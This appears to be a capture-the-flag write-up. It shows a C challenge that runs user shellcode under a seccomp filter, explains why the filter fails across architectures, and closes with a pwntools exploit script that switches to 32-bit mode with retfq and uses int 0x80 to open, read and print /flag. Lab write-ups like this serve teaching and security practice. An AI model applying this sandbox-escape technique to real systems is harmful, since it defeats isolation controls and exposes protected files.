Cross-Arch Syscall Confusion

Challenge Source Code

#include <assert.h>
#include <fcntl.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <sys/mman.h>
#include <sys/sendfile.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#include <seccomp.h>

int main(int argc, char **argv, char **envp) {
assert(argc > 0);

setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 1);

void *shellcode =
mmap((void *)0x1337000, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANON, 0, 0);
assert(shellcode == (void *)0x1337000);

int shellcode_size = read(0, shellcode, 0x1000);

scmp_filter_ctx ctx;

ctx = seccomp_init(SCMP_ACT_ALLOW);
for (int i = 0; i < 512; i++) {
switch (i) {
case SCMP_SYS(close):
continue;
case SCMP_SYS(stat):
continue;
case SCMP_SYS(fstat):
continue;
case SCMP_SYS(lstat):
continue;
}
assert(seccomp_rule_add(ctx, SCMP_ACT_KILL, i, 0) == 0);
}

seccomp_arch_add(ctx, SCMP_ARCH_X86);

assert(seccomp_load(ctx) == 0);

((void (*)())shellcode)();
}

Vulnerability Analysis

The challenge implements a seccomp filter that whitelists specific system calls (close, stat, fstat, lstat) and explicitly enables support for the 32-bit x86 architecture (SCMP_ARCH_X86).

The vulnerability arises because seccomp filters often check the system call number, but system call numbers differ between architectures.

x86-64 (64-bit):

  • close: 3
  • stat: 4
  • fstat: 5
  • lstat: 6
x86 (32-bit):

  • read: 3
  • write: 4
  • open: 5

The filter allows syscalls 3, 4, 5, and 6. If we switch the processor to 32-bit mode (or simply execute the 32-bit int 0x80 instruction), the kernel interprets these numbers as read, write, and open.

Exploitation Plan

  1. Switch Mode (Conceptually): We don’t need to fully switch the process to 32-bit mode; we just need to use the 32-bit system call interface (int 0x80).
  2. Open Flag: Call syscall 5 (open) to open /flag.
  3. Read Flag: Call syscall 3 (read) to read from the FD returned by open.
  4. Write Flag: Call syscall 4 (write) to write the flag to stdout.

Exploit Script

The following script demonstrates the attack. We first generate a 32-bit payload using shellcraft.cat("/flag"). Then, we prepend a 64-bit assembly stub that switches the processor to 32-bit compatibility mode using a far return (retfq). This allows us to use the 32-bit syscall interface (int 0x80) to bypass the 64-bit seccomp restrictions.

from pwn import *

elf = context.binary = ELF("./challenge")

p = process(elf.path)

# 1. Generate 32-bit payload
# The challenge allows syscalls 3, 4, 5, 6 (64-bit numbers)
# In 32-bit mode, these numbers correspond to:
# 3: read
# 4: write
# 5: open
# 6: close
# This allows us to cat the flag.
with context.local(arch="i386", bits=32):
# shellcraft.cat("/flag") uses open, read, write.
# We avoid shellcraft.exit(0) because 32-bit exit is 1, which is blocked.
payload_32 = asm(shellcraft.cat("/flag") + "jmp $")

# 2. 64-bit stub to switch to 32-bit mode
shellcode = (
asm(
"""
/* Move stack to 32-bit range */
mov rsp, 0x1338000
/* Switch to 32-bit mode (CS=0x23) */
push 0x23
lea rax, [rip + 3]
push rax
retfq
""",
arch="amd64",
)
+ payload_32
)

p.send(shellcode)

# Read output
print(p.recvall(timeout=1).decode())

p.close()